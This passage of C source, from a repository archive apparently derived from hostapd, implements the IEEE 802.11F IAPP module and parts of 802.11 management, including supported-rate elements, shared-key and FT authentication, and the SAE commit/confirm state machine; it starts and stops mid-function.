msg.xid_info[1] = 1; /* LLC types/classes: Type 1 LLC */ msg.xid_info[2] = 1 << 1; /* XID sender's receive window size (RW) * FIX: what is correct RW with 802.11? */ if (send(iapp->packet_sock, &msg, sizeof(msg), 0) < 0) wpa_printf(MSG_INFO, "send[L2 Update]: %s", strerror(errno)); } /** * iapp_new_station - IAPP processing for a new STA * @iapp: IAPP data * @sta: The associated station */ void iapp_new_station(struct iapp_data *iapp, struct sta_info *sta) { u16 seq = 0; /* TODO */ if (iapp == NULL) return; /* IAPP-ADD.request(MAC Address, Sequence Number, Timeout) */ hostapd_logger(iapp->hapd, sta->addr, HOSTAPD_MODULE_IAPP, HOSTAPD_LEVEL_DEBUG, "IAPP-ADD.request(seq=%d)", seq); iapp_send_layer2_update(iapp, sta->addr); iapp_send_add(iapp, sta->addr, seq); /* TODO: If this was reassociation: * IAPP-MOVE.request(MAC Address, Sequence Number, Old AP, * Context Block, Timeout) * TODO: Send IAPP-MOVE to the old AP; Map Old AP BSSID to * IP address */ } static void iapp_process_add_notify(struct iapp_data *iapp, struct sockaddr_in *from, struct iapp_hdr *hdr, int len) { struct iapp_add_notify *add = (struct iapp_add_notify *) (hdr + 1); struct sta_info *sta; if (len != sizeof(*add)) { wpa_printf(MSG_INFO, "Invalid IAPP-ADD packet length %d (expected %lu)", len, (unsigned long) sizeof(*add)); return; } sta = ap_get_sta(iapp->hapd, add->mac_addr); /* IAPP-ADD.indication(MAC Address, Sequence Number) */ hostapd_logger(iapp->hapd, add->mac_addr, HOSTAPD_MODULE_IAPP, HOSTAPD_LEVEL_INFO, "Received IAPP ADD-notify (seq# %d) from %s:%d%s", be_to_host16(add->seq_num), inet_ntoa(from->sin_addr), ntohs(from->sin_port), sta ? "" : " (STA not found)"); if (!sta) return; /* TODO: could use seq_num to try to determine whether last association * to this AP is newer than the one advertised in IAPP-ADD. Although, * this is not really a reliable verification. */ hostapd_logger(iapp->hapd, add->mac_addr, HOSTAPD_MODULE_IAPP, HOSTAPD_LEVEL_DEBUG, "Removing STA due to IAPP ADD-notify"); ap_sta_disconnect(iapp->hapd, sta, NULL, 0); } /** * iapp_receive_udp - Process IAPP UDP frames * @sock: File descriptor for the socket * @eloop_ctx: IAPP data (struct iapp_data *) * @sock_ctx: Not used */ static void iapp_receive_udp(int sock, void *eloop_ctx, void *sock_ctx) { struct iapp_data *iapp = eloop_ctx; int len, hlen; unsigned char buf[128]; struct sockaddr_in from; socklen_t fromlen; struct iapp_hdr *hdr; /* Handle incoming IAPP frames (over UDP/IP) */ fromlen = sizeof(from); len = recvfrom(iapp->udp_sock, buf, sizeof(buf), 0, (struct sockaddr *) &from, &fromlen); if (len < 0) { wpa_printf(MSG_INFO, "iapp_receive_udp - recvfrom: %s", strerror(errno)); return; } if (from.sin_addr.s_addr == iapp->own.s_addr) return; /* ignore own IAPP messages */ hostapd_logger(iapp->hapd, NULL, HOSTAPD_MODULE_IAPP, HOSTAPD_LEVEL_DEBUG, "Received %d byte IAPP frame from %s%s\n", len, inet_ntoa(from.sin_addr), len < (int) sizeof(*hdr) ? " (too short)" : ""); if (len < (int) sizeof(*hdr)) return; hdr = (struct iapp_hdr *) buf; hlen = be_to_host16(hdr->length); hostapd_logger(iapp->hapd, NULL, HOSTAPD_MODULE_IAPP, HOSTAPD_LEVEL_DEBUG, "RX: version=%d command=%d id=%d len=%d\n", hdr->version, hdr->command, be_to_host16(hdr->identifier), hlen); if (hdr->version != IAPP_VERSION) { wpa_printf(MSG_INFO, "Dropping IAPP frame with unknown version %d", hdr->version); return; } if (hlen > len) { wpa_printf(MSG_INFO, "Underflow IAPP frame (hlen=%d len=%d)", hlen, len); return; } if (hlen < len) { wpa_printf(MSG_INFO, "Ignoring %d extra bytes from IAPP frame", len - hlen); len = hlen; } switch (hdr->command) { case IAPP_CMD_ADD_notify: iapp_process_add_notify(iapp, &from, hdr, len - sizeof(*hdr)); break; case IAPP_CMD_MOVE_notify: /* TODO: MOVE is using TCP; so move this to TCP handler once it * is implemented.. */ /* IAPP-MOVE.indication(MAC Address, New BSSID, * Sequence Number, AP Address, Context Block) */ /* TODO: process */ break; default: wpa_printf(MSG_INFO, "Unknown IAPP command %d", hdr->command); break; } } struct iapp_data * iapp_init(struct hostapd_data *hapd, const char *iface) { struct ifreq ifr; struct sockaddr_ll addr; int ifindex; struct sockaddr_in *paddr, uaddr; struct iapp_data *iapp; struct ip_mreqn mreq; int reuseaddr = 1; iapp = os_zalloc(sizeof(*iapp)); if (iapp == NULL) return NULL; iapp->hapd = hapd; iapp->udp_sock = iapp->packet_sock = -1; /* TODO: * open socket for sending and receiving IAPP frames over TCP */ iapp->udp_sock = socket(PF_INET, SOCK_DGRAM, 0); if (iapp->udp_sock < 0) { wpa_printf(MSG_INFO, "iapp_init - socket[PF_INET,SOCK_DGRAM]: %s", strerror(errno)); iapp_deinit(iapp); return NULL; } os_memset(&ifr, 0, sizeof(ifr)); os_strlcpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name)); if (ioctl(iapp->udp_sock, SIOCGIFINDEX, &ifr) != 0) { wpa_printf(MSG_INFO, "iapp_init - ioctl(SIOCGIFINDEX): %s", strerror(errno)); iapp_deinit(iapp); return NULL; } ifindex = ifr.ifr_ifindex; if (ioctl(iapp->udp_sock, SIOCGIFADDR, &ifr) != 0) { wpa_printf(MSG_INFO, "iapp_init - ioctl(SIOCGIFADDR): %s", strerror(errno)); iapp_deinit(iapp); return NULL; } paddr = (struct sockaddr_in *) &ifr.ifr_addr; if (paddr->sin_family != AF_INET) { wpa_printf(MSG_INFO, "IAPP: Invalid address family %i (SIOCGIFADDR)", paddr->sin_family); iapp_deinit(iapp); return NULL; } iapp->own.s_addr = paddr->sin_addr.s_addr; if (ioctl(iapp->udp_sock, SIOCGIFBRDADDR, &ifr) != 0) { wpa_printf(MSG_INFO, "iapp_init - ioctl(SIOCGIFBRDADDR): %s", strerror(errno)); iapp_deinit(iapp); return NULL; } paddr = (struct sockaddr_in *) &ifr.ifr_addr; if (paddr->sin_family != AF_INET) { wpa_printf(MSG_INFO, "Invalid address family %i (SIOCGIFBRDADDR)", paddr->sin_family); iapp_deinit(iapp); return NULL; } inet_aton(IAPP_MULTICAST, &iapp->multicast); os_memset(&uaddr, 0, sizeof(uaddr)); uaddr.sin_family = AF_INET; uaddr.sin_port = htons(IAPP_UDP_PORT); if (setsockopt(iapp->udp_sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr, sizeof(reuseaddr)) < 0) { wpa_printf(MSG_INFO, "iapp_init - setsockopt[UDP,SO_REUSEADDR]: %s", strerror(errno)); /* * Ignore this and try to continue. This is fine for single * BSS cases, but may fail if multiple BSSes enable IAPP. */ } if (bind(iapp->udp_sock, (struct sockaddr *) &uaddr, sizeof(uaddr)) < 0) { wpa_printf(MSG_INFO, "iapp_init - bind[UDP]: %s", strerror(errno)); iapp_deinit(iapp); return NULL; } os_memset(&mreq, 0, sizeof(mreq)); mreq.imr_multiaddr = iapp->multicast; mreq.imr_address.s_addr = INADDR_ANY; mreq.imr_ifindex = 0; if (setsockopt(iapp->udp_sock, SOL_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0) { wpa_printf(MSG_INFO, "iapp_init - setsockopt[UDP,IP_ADD_MEMBERSHIP]: %s", strerror(errno)); iapp_deinit(iapp); return NULL; } iapp->packet_sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (iapp->packet_sock < 0) { wpa_printf(MSG_INFO, "iapp_init - socket[PF_PACKET,SOCK_RAW]: %s", strerror(errno)); iapp_deinit(iapp); return NULL; } os_memset(&addr, 0, sizeof(addr)); addr.sll_family = AF_PACKET; addr.sll_ifindex = ifindex; if (bind(iapp->packet_sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) { wpa_printf(MSG_INFO, "iapp_init - bind[PACKET]: %s", strerror(errno)); iapp_deinit(iapp); return NULL; } if (eloop_register_read_sock(iapp->udp_sock, iapp_receive_udp, iapp, NULL)) { wpa_printf(MSG_INFO, "Could not register read socket for IAPP"); iapp_deinit(iapp); return NULL; } wpa_printf(MSG_INFO, "IEEE 802.11F (IAPP) using interface %s", iface); /* TODO: For levels 2 and 3: send RADIUS Initiate-Request, receive * RADIUS Initiate-Accept or Initiate-Reject. IAPP port should actually * be openned only after receiving Initiate-Accept. If Initiate-Reject * is received, IAPP is not started. */ return iapp; } void iapp_deinit(struct iapp_data *iapp) { struct ip_mreqn mreq; if (iapp == NULL) return; if (iapp->udp_sock >= 0) { os_memset(&mreq, 0, sizeof(mreq)); mreq.imr_multiaddr = iapp->multicast; mreq.imr_address.s_addr = INADDR_ANY; mreq.imr_ifindex = 0; if (setsockopt(iapp->udp_sock, SOL_IP, IP_DROP_MEMBERSHIP, &mreq, sizeof(mreq)) < 0) { wpa_printf(MSG_INFO, "iapp_deinit - setsockopt[UDP,IP_DEL_MEMBERSHIP]: %s", strerror(errno)); } eloop_unregister_read_sock(iapp->udp_sock); close(iapp->udp_sock); } if (iapp->packet_sock >= 0) { eloop_unregister_read_sock(iapp->packet_sock); close(iapp->packet_sock); } os_free(iapp); } wpa_sycophant-master/src/ap/iapp.h000066400000000000000000000015011377436615100175310ustar00rootroot00000000000000/* * hostapd / IEEE 802.11F-2003 Inter-Access Point Protocol (IAPP) * Copyright (c) 2002-2005, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef IAPP_H #define IAPP_H struct iapp_data; #ifdef CONFIG_IAPP void iapp_new_station(struct iapp_data *iapp, struct sta_info *sta); struct iapp_data * iapp_init(struct hostapd_data *hapd, const char *iface); void iapp_deinit(struct iapp_data *iapp); #else /* CONFIG_IAPP */ static inline void iapp_new_station(struct iapp_data *iapp, struct sta_info *sta) { } static inline struct iapp_data * iapp_init(struct hostapd_data *hapd, const char *iface) { return NULL; } static inline void iapp_deinit(struct iapp_data *iapp) { } #endif /* CONFIG_IAPP */ #endif /* IAPP_H */ wpa_sycophant-master/src/ap/ieee802_11.c000066400000000000000000003773521377436615100202610ustar00rootroot00000000000000/* * hostapd / IEEE 802.11 Management * Copyright (c) 2002-2017, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #ifndef CONFIG_NATIVE_WINDOWS #include "utils/common.h" #include "utils/eloop.h" #include "crypto/crypto.h" #include "crypto/sha256.h" #include "crypto/sha384.h" #include "crypto/sha512.h" #include "crypto/random.h" #include "common/ieee802_11_defs.h" #include "common/ieee802_11_common.h" #include "common/wpa_ctrl.h" #include "common/sae.h" #include "radius/radius.h" #include "radius/radius_client.h" #include "p2p/p2p.h" #include "wps/wps.h" #include "fst/fst.h" #include "hostapd.h" #include "beacon.h" #include "ieee802_11_auth.h" #include "sta_info.h" #include "ieee802_1x.h" #include "wpa_auth.h" #include "pmksa_cache_auth.h" #include "wmm.h" #include "ap_list.h" #include "accounting.h" #include "ap_config.h" #include "ap_mlme.h" #include "p2p_hostapd.h" #include "ap_drv_ops.h" #include "wnm_ap.h" #include "hw_features.h" #include "ieee802_11.h" #include "dfs.h" #include "mbo_ap.h" #include "rrm.h" #include "taxonomy.h" #include "fils_hlp.h" #include "dpp_hostapd.h" #include "gas_query_ap.h" #ifdef CONFIG_FILS static struct wpabuf * prepare_auth_resp_fils(struct hostapd_data *hapd, struct sta_info *sta, u16 *resp, struct rsn_pmksa_cache_entry *pmksa, struct wpabuf *erp_resp, const u8 *msk, size_t msk_len, int *is_pub); #endif /* CONFIG_FILS */ u8 * hostapd_eid_supp_rates(struct hostapd_data *hapd, u8 *eid) { u8 *pos = eid; int i, num, count; if (hapd->iface->current_rates == NULL) return eid; *pos++ = WLAN_EID_SUPP_RATES; num = hapd->iface->num_rates; if (hapd->iconf->ieee80211n && hapd->iconf->require_ht) num++; if (hapd->iconf->ieee80211ac && hapd->iconf->require_vht) num++; if (num > 8) { /* rest of the rates are encoded in Extended supported * rates element */ num = 8; } *pos++ = num; for (i = 0, count = 0; i < hapd->iface->num_rates && count < num; i++) { count++; *pos = hapd->iface->current_rates[i].rate / 5; if (hapd->iface->current_rates[i].flags & HOSTAPD_RATE_BASIC) *pos |= 0x80; pos++; } if (hapd->iconf->ieee80211n && hapd->iconf->require_ht && count < 8) { count++; *pos++ = 0x80 | BSS_MEMBERSHIP_SELECTOR_HT_PHY; } if (hapd->iconf->ieee80211ac && hapd->iconf->require_vht && count < 8) { count++; *pos++ = 0x80 | BSS_MEMBERSHIP_SELECTOR_VHT_PHY; } return pos; } u8 * hostapd_eid_ext_supp_rates(struct hostapd_data *hapd, u8 *eid) { u8 *pos = eid; int i, num, count; if (hapd->iface->current_rates == NULL) return eid; num = hapd->iface->num_rates; if (hapd->iconf->ieee80211n && hapd->iconf->require_ht) num++; if (hapd->iconf->ieee80211ac && hapd->iconf->require_vht) num++; if (num <= 8) return eid; num -= 8; *pos++ = WLAN_EID_EXT_SUPP_RATES; *pos++ = num; for (i = 0, count = 0; i < hapd->iface->num_rates && count < num + 8; i++) { count++; if (count <= 8) continue; /* already in SuppRates IE */ *pos = hapd->iface->current_rates[i].rate / 5; if (hapd->iface->current_rates[i].flags & HOSTAPD_RATE_BASIC) *pos |= 0x80; pos++; } if (hapd->iconf->ieee80211n && hapd->iconf->require_ht) { count++; if (count > 8) *pos++ = 0x80 | BSS_MEMBERSHIP_SELECTOR_HT_PHY; } if (hapd->iconf->ieee80211ac && hapd->iconf->require_vht) { count++; if (count > 8) *pos++ = 0x80 | BSS_MEMBERSHIP_SELECTOR_VHT_PHY; } return pos; } u16 hostapd_own_capab_info(struct hostapd_data *hapd) { int capab = WLAN_CAPABILITY_ESS; int privacy; int dfs; int i; /* Check if any of configured channels require DFS */ dfs = hostapd_is_dfs_required(hapd->iface); if (dfs < 0) { wpa_printf(MSG_WARNING, "Failed to check if DFS is required; ret=%d", dfs); dfs = 0; } if (hapd->iface->num_sta_no_short_preamble == 0 && hapd->iconf->preamble == SHORT_PREAMBLE) capab |= WLAN_CAPABILITY_SHORT_PREAMBLE; privacy = hapd->conf->ssid.wep.keys_set; if (hapd->conf->ieee802_1x && (hapd->conf->default_wep_key_len || hapd->conf->individual_wep_key_len)) privacy = 1; if (hapd->conf->wpa) privacy = 1; #ifdef CONFIG_HS20 if (hapd->conf->osen) privacy = 1; #endif /* CONFIG_HS20 */ if (privacy) capab |= WLAN_CAPABILITY_PRIVACY; if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G && hapd->iface->num_sta_no_short_slot_time == 0) capab |= WLAN_CAPABILITY_SHORT_SLOT_TIME; /* * Currently, Spectrum Management capability bit is set when directly * requested in configuration by spectrum_mgmt_required or when AP is * running on DFS channel. * TODO: Also consider driver support for TPC to set Spectrum Mgmt bit */ if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211A && (hapd->iconf->spectrum_mgmt_required || dfs)) capab |= WLAN_CAPABILITY_SPECTRUM_MGMT; for (i = 0; i < RRM_CAPABILITIES_IE_LEN; i++) { if (hapd->conf->radio_measurements[i]) { capab |= IEEE80211_CAP_RRM; break; } } return capab; } #ifndef CONFIG_NO_RC4 static u16 auth_shared_key(struct hostapd_data *hapd, struct sta_info *sta, u16 auth_transaction, const u8 *challenge, int iswep) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "authentication (shared key, transaction %d)", auth_transaction); if (auth_transaction == 1) { if (!sta->challenge) { /* Generate a pseudo-random challenge */ u8 key[8]; sta->challenge = os_zalloc(WLAN_AUTH_CHALLENGE_LEN); if (sta->challenge == NULL) return WLAN_STATUS_UNSPECIFIED_FAILURE; if (os_get_random(key, sizeof(key)) < 0) { os_free(sta->challenge); sta->challenge = NULL; return WLAN_STATUS_UNSPECIFIED_FAILURE; } rc4_skip(key, sizeof(key), 0, sta->challenge, WLAN_AUTH_CHALLENGE_LEN); } return 0; } if (auth_transaction != 3) return WLAN_STATUS_UNSPECIFIED_FAILURE; /* Transaction 3 */ if (!iswep || !sta->challenge || !challenge || os_memcmp_const(sta->challenge, challenge, WLAN_AUTH_CHALLENGE_LEN)) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "shared key authentication - invalid " "challenge-response"); return WLAN_STATUS_CHALLENGE_FAIL; } hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "authentication OK (shared key)"); sta->flags |= WLAN_STA_AUTH; wpa_auth_sm_event(sta->wpa_sm, WPA_AUTH); os_free(sta->challenge); sta->challenge = NULL; return 0; } #endif /* CONFIG_NO_RC4 */ static int send_auth_reply(struct hostapd_data *hapd, const u8 *dst, const u8 *bssid, u16 auth_alg, u16 auth_transaction, u16 resp, const u8 *ies, size_t ies_len, const char *dbg) { struct ieee80211_mgmt *reply; u8 *buf; size_t rlen; int reply_res = WLAN_STATUS_UNSPECIFIED_FAILURE; rlen = IEEE80211_HDRLEN + sizeof(reply->u.auth) + ies_len; buf = os_zalloc(rlen); if (buf == NULL) return -1; reply = (struct ieee80211_mgmt *) buf; reply->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_AUTH); os_memcpy(reply->da, dst, ETH_ALEN); os_memcpy(reply->sa, hapd->own_addr, ETH_ALEN); os_memcpy(reply->bssid, bssid, ETH_ALEN); reply->u.auth.auth_alg = host_to_le16(auth_alg); reply->u.auth.auth_transaction = host_to_le16(auth_transaction); reply->u.auth.status_code = host_to_le16(resp); if (ies && ies_len) os_memcpy(reply->u.auth.variable, ies, ies_len); wpa_printf(MSG_DEBUG, "authentication reply: STA=" MACSTR " auth_alg=%d auth_transaction=%d resp=%d (IE len=%lu) (dbg=%s)", MAC2STR(dst), auth_alg, auth_transaction, resp, (unsigned long) ies_len, dbg); if (hostapd_drv_send_mlme(hapd, reply, rlen, 0) < 0) wpa_printf(MSG_INFO, "send_auth_reply: send failed"); else reply_res = WLAN_STATUS_SUCCESS; os_free(buf); return reply_res; } #ifdef CONFIG_IEEE80211R_AP static void handle_auth_ft_finish(void *ctx, const u8 *dst, const u8 *bssid, u16 auth_transaction, u16 status, const u8 *ies, size_t ies_len) { struct hostapd_data *hapd = ctx; struct sta_info *sta; int reply_res; reply_res = send_auth_reply(hapd, dst, bssid, WLAN_AUTH_FT, auth_transaction, status, ies, ies_len, "auth-ft-finish"); sta = ap_get_sta(hapd, dst); if (sta == NULL) return; if (sta->added_unassoc && (reply_res != WLAN_STATUS_SUCCESS || status != WLAN_STATUS_SUCCESS)) { hostapd_drv_sta_remove(hapd, sta->addr); sta->added_unassoc = 0; return; } if (status != WLAN_STATUS_SUCCESS) return; hostapd_logger(hapd, dst, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "authentication OK (FT)"); sta->flags |= WLAN_STA_AUTH; mlme_authenticate_indication(hapd, sta); } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_SAE static void sae_set_state(struct sta_info *sta, enum sae_state state, const char *reason) { wpa_printf(MSG_DEBUG, "SAE: State %s -> %s for peer " MACSTR " (%s)", sae_state_txt(sta->sae->state), sae_state_txt(state), MAC2STR(sta->addr), reason); sta->sae->state = state; } static struct wpabuf * auth_build_sae_commit(struct hostapd_data *hapd, struct sta_info *sta, int update) { struct wpabuf *buf; const char *password = NULL; struct sae_password_entry *pw; const char *rx_id = NULL; if (sta->sae->tmp) rx_id = sta->sae->tmp->pw_id; for (pw = hapd->conf->sae_passwords; pw; pw = pw->next) { if (!is_broadcast_ether_addr(pw->peer_addr) && os_memcmp(pw->peer_addr, sta->addr, ETH_ALEN) != 0) continue; if ((rx_id && !pw->identifier) || (!rx_id && pw->identifier)) continue; if (rx_id && pw->identifier && os_strcmp(rx_id, pw->identifier) != 0) continue; password = pw->password; break; } if (!password) password = hapd->conf->ssid.wpa_passphrase; if (!password) { wpa_printf(MSG_DEBUG, "SAE: No password available"); return NULL; } if (update && sae_prepare_commit(hapd->own_addr, sta->addr, (u8 *) password, os_strlen(password), rx_id, sta->sae) < 0) { wpa_printf(MSG_DEBUG, "SAE: Could not pick PWE"); return NULL; } buf = wpabuf_alloc(SAE_COMMIT_MAX_LEN + (rx_id ? 3 + os_strlen(rx_id) : 0)); if (buf == NULL) return NULL; sae_write_commit(sta->sae, buf, sta->sae->tmp ? sta->sae->tmp->anti_clogging_token : NULL, rx_id); return buf; } static struct wpabuf * auth_build_sae_confirm(struct hostapd_data *hapd, struct sta_info *sta) { struct wpabuf *buf; buf = wpabuf_alloc(SAE_CONFIRM_MAX_LEN); if (buf == NULL) return NULL; sae_write_confirm(sta->sae, buf); return buf; } static int auth_sae_send_commit(struct hostapd_data *hapd, struct sta_info *sta, const u8 *bssid, int update) { struct wpabuf *data; int reply_res; data = auth_build_sae_commit(hapd, sta, update); if (!data && sta->sae->tmp && sta->sae->tmp->pw_id) return WLAN_STATUS_UNKNOWN_PASSWORD_IDENTIFIER; if (data == NULL) return WLAN_STATUS_UNSPECIFIED_FAILURE; reply_res = send_auth_reply(hapd, sta->addr, bssid, WLAN_AUTH_SAE, 1, WLAN_STATUS_SUCCESS, wpabuf_head(data), wpabuf_len(data), "sae-send-commit"); wpabuf_free(data); return reply_res; } static int auth_sae_send_confirm(struct hostapd_data *hapd, struct sta_info *sta, const u8 *bssid) { struct wpabuf *data; int reply_res; data = auth_build_sae_confirm(hapd, sta); if (data == NULL) return WLAN_STATUS_UNSPECIFIED_FAILURE; reply_res = send_auth_reply(hapd, sta->addr, bssid, WLAN_AUTH_SAE, 2, WLAN_STATUS_SUCCESS, wpabuf_head(data), wpabuf_len(data), "sae-send-confirm"); wpabuf_free(data); return reply_res; } static int use_sae_anti_clogging(struct hostapd_data *hapd) { struct sta_info *sta; unsigned int open = 0; if (hapd->conf->sae_anti_clogging_threshold == 0) return 1; for (sta = hapd->sta_list; sta; sta = sta->next) { if (!sta->sae) continue; if (sta->sae->state != SAE_COMMITTED && sta->sae->state != SAE_CONFIRMED) continue; open++; if (open >= hapd->conf->sae_anti_clogging_threshold) return 1; } return 0; } static int check_sae_token(struct hostapd_data *hapd, const u8 *addr, const u8 *token, size_t token_len) { u8 mac[SHA256_MAC_LEN]; if (token_len != SHA256_MAC_LEN) return -1; if (hmac_sha256(hapd->sae_token_key, sizeof(hapd->sae_token_key), addr, ETH_ALEN, mac) < 0 || os_memcmp_const(token, mac, SHA256_MAC_LEN) != 0) return -1; return 0; } static struct wpabuf * auth_build_token_req(struct hostapd_data *hapd, int group, const u8 *addr) { struct wpabuf *buf; u8 *token; struct os_reltime now; os_get_reltime(&now); if (!os_reltime_initialized(&hapd->last_sae_token_key_update) || os_reltime_expired(&now, &hapd->last_sae_token_key_update, 60)) { if (random_get_bytes(hapd->sae_token_key, sizeof(hapd->sae_token_key)) < 0) return NULL; wpa_hexdump(MSG_DEBUG, "SAE: Updated token key", hapd->sae_token_key, sizeof(hapd->sae_token_key)); hapd->last_sae_token_key_update = now; } buf = wpabuf_alloc(sizeof(le16) + SHA256_MAC_LEN); if (buf == NULL) return NULL; wpabuf_put_le16(buf, group); /* Finite Cyclic Group */ token = wpabuf_put(buf, SHA256_MAC_LEN); hmac_sha256(hapd->sae_token_key, sizeof(hapd->sae_token_key), addr, ETH_ALEN, token); return buf; } static int sae_check_big_sync(struct hostapd_data *hapd, struct sta_info *sta) { if (sta->sae->sync > hapd->conf->sae_sync) { sae_set_state(sta, SAE_NOTHING, "Sync > dot11RSNASAESync"); sta->sae->sync = 0; return -1; } return 0; } static void auth_sae_retransmit_timer(void *eloop_ctx, void *eloop_data) { struct hostapd_data *hapd = eloop_ctx; struct sta_info *sta = eloop_data; int ret; if (sae_check_big_sync(hapd, sta)) return; sta->sae->sync++; wpa_printf(MSG_DEBUG, "SAE: Auth SAE retransmit timer for " MACSTR " (sync=%d state=%s)", MAC2STR(sta->addr), sta->sae->sync, sae_state_txt(sta->sae->state)); switch (sta->sae->state) { case SAE_COMMITTED: ret = auth_sae_send_commit(hapd, sta, hapd->own_addr, 0); eloop_register_timeout(0, hapd->dot11RSNASAERetransPeriod * 1000, auth_sae_retransmit_timer, hapd, sta); break; case SAE_CONFIRMED: ret = auth_sae_send_confirm(hapd, sta, hapd->own_addr); eloop_register_timeout(0, hapd->dot11RSNASAERetransPeriod * 1000, auth_sae_retransmit_timer, hapd, sta); break; default: ret = -1; break; } if (ret != WLAN_STATUS_SUCCESS) wpa_printf(MSG_INFO, "SAE: Failed to retransmit: ret=%d", ret); } void sae_clear_retransmit_timer(struct hostapd_data *hapd, struct sta_info *sta) { eloop_cancel_timeout(auth_sae_retransmit_timer, hapd, sta); } static void sae_set_retransmit_timer(struct hostapd_data *hapd, struct sta_info *sta) { if (!(hapd->conf->mesh & MESH_ENABLED)) return; eloop_cancel_timeout(auth_sae_retransmit_timer, hapd, sta); eloop_register_timeout(0, hapd->dot11RSNASAERetransPeriod * 1000, auth_sae_retransmit_timer, hapd, sta); } void sae_accept_sta(struct hostapd_data *hapd, struct sta_info *sta) { sta->flags |= WLAN_STA_AUTH; sta->auth_alg = WLAN_AUTH_SAE; mlme_authenticate_indication(hapd, sta); wpa_auth_sm_event(sta->wpa_sm, WPA_AUTH); sae_set_state(sta, SAE_ACCEPTED, "Accept Confirm"); wpa_auth_pmksa_add_sae(hapd->wpa_auth, sta->addr, sta->sae->pmk, sta->sae->pmkid); } static int sae_sm_step(struct hostapd_data *hapd, struct sta_info *sta, const u8 *bssid, u8 auth_transaction) { int ret; if (auth_transaction != 1 && auth_transaction != 2) return WLAN_STATUS_UNSPECIFIED_FAILURE; wpa_printf(MSG_DEBUG, "SAE: Peer " MACSTR " state=%s auth_trans=%u", MAC2STR(sta->addr), sae_state_txt(sta->sae->state), auth_transaction); switch (sta->sae->state) { case SAE_NOTHING: if (auth_transaction == 1) { ret = auth_sae_send_commit(hapd, sta, bssid, 1); if (ret) return ret; sae_set_state(sta, SAE_COMMITTED, "Sent Commit"); if (sae_process_commit(sta->sae) < 0) return WLAN_STATUS_UNSPECIFIED_FAILURE; /* * In mesh case, both Commit and Confirm can be sent * immediately. In infrastructure BSS, only a single * Authentication frame (Commit) is expected from the AP * here and the second one (Confirm) will be sent once * the STA has sent its second Authentication frame * (Confirm). */ if (hapd->conf->mesh & MESH_ENABLED) { /* * Send both Commit and Confirm immediately * based on SAE finite state machine * Nothing -> Confirm transition. */ ret = auth_sae_send_confirm(hapd, sta, bssid); if (ret) return ret; sae_set_state(sta, SAE_CONFIRMED, "Sent Confirm (mesh)"); } else { /* * For infrastructure BSS, send only the Commit * message now to get alternating sequence of * Authentication frames between the AP and STA. * Confirm will be sent in * Committed -> Confirmed/Accepted transition * when receiving Confirm from STA. */ } sta->sae->sync = 0; sae_set_retransmit_timer(hapd, sta); } else { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "SAE confirm before commit"); } break; case SAE_COMMITTED: sae_clear_retransmit_timer(hapd, sta); if (auth_transaction == 1) { if (sae_process_commit(sta->sae) < 0) return WLAN_STATUS_UNSPECIFIED_FAILURE; ret = auth_sae_send_confirm(hapd, sta, bssid); if (ret) return ret; sae_set_state(sta, SAE_CONFIRMED, "Sent Confirm"); sta->sae->sync = 0; sae_set_retransmit_timer(hapd, sta); } else if (hapd->conf->mesh & MESH_ENABLED) { /* * In mesh case, follow SAE finite state machine and * send Commit now, if sync count allows. */ if (sae_check_big_sync(hapd, sta)) return WLAN_STATUS_SUCCESS; sta->sae->sync++; ret = auth_sae_send_commit(hapd, sta, bssid, 0); if (ret) return ret; sae_set_retransmit_timer(hapd, sta); } else { /* * For instructure BSS, send the postponed Confirm from * Nothing -> Confirmed transition that was reduced to * Nothing -> Committed above. */ ret = auth_sae_send_confirm(hapd, sta, bssid); if (ret) return ret; sae_set_state(sta, SAE_CONFIRMED, "Sent Confirm"); /* * Since this was triggered on Confirm RX, run another * step to get to Accepted without waiting for * additional events. */ return sae_sm_step(hapd, sta, bssid, auth_transaction); } break; case SAE_CONFIRMED: sae_clear_retransmit_timer(hapd, sta); if (auth_transaction == 1) { if (sae_check_big_sync(hapd, sta)) return WLAN_STATUS_SUCCESS; sta->sae->sync++; ret = auth_sae_send_commit(hapd, sta, bssid, 1); if (ret) return ret; if (sae_process_commit(sta->sae) < 0) return WLAN_STATUS_UNSPECIFIED_FAILURE; ret = auth_sae_send_confirm(hapd, sta, bssid); if (ret) return ret; sae_set_retransmit_timer(hapd, sta); } else { sta->sae->send_confirm = 0xffff; sae_accept_sta(hapd, sta); } break; case SAE_ACCEPTED: if (auth_transaction == 1) { wpa_printf(MSG_DEBUG, "SAE: remove the STA (" MACSTR ") doing reauthentication", MAC2STR(sta->addr)); ap_free_sta(hapd, sta); wpa_auth_pmksa_remove(hapd->wpa_auth, sta->addr); } else { if (sae_check_big_sync(hapd, sta)) return WLAN_STATUS_SUCCESS; sta->sae->sync++; ret = auth_sae_send_confirm(hapd, sta, bssid); sae_clear_temp_data(sta->sae); if (ret) return ret; } break; default: wpa_printf(MSG_ERROR, "SAE: invalid state %d", sta->sae->state); return WLAN_STATUS_UNSPECIFIED_FAILURE; } return WLAN_STATUS_SUCCESS; } static void sae_pick_next_group(struct hostapd_data *hapd, struct sta_info *sta) { struct sae_data *sae = sta->sae; int i, *groups = hapd->conf->sae_groups; if (sae->state != SAE_COMMITTED) return; wpa_printf(MSG_DEBUG, "SAE: Previously selected group: %d", sae->group); for (i = 0; groups && groups[i] > 0; i++) { if (sae->group == groups[i]) break; } if (!groups || groups[i] <= 0) { 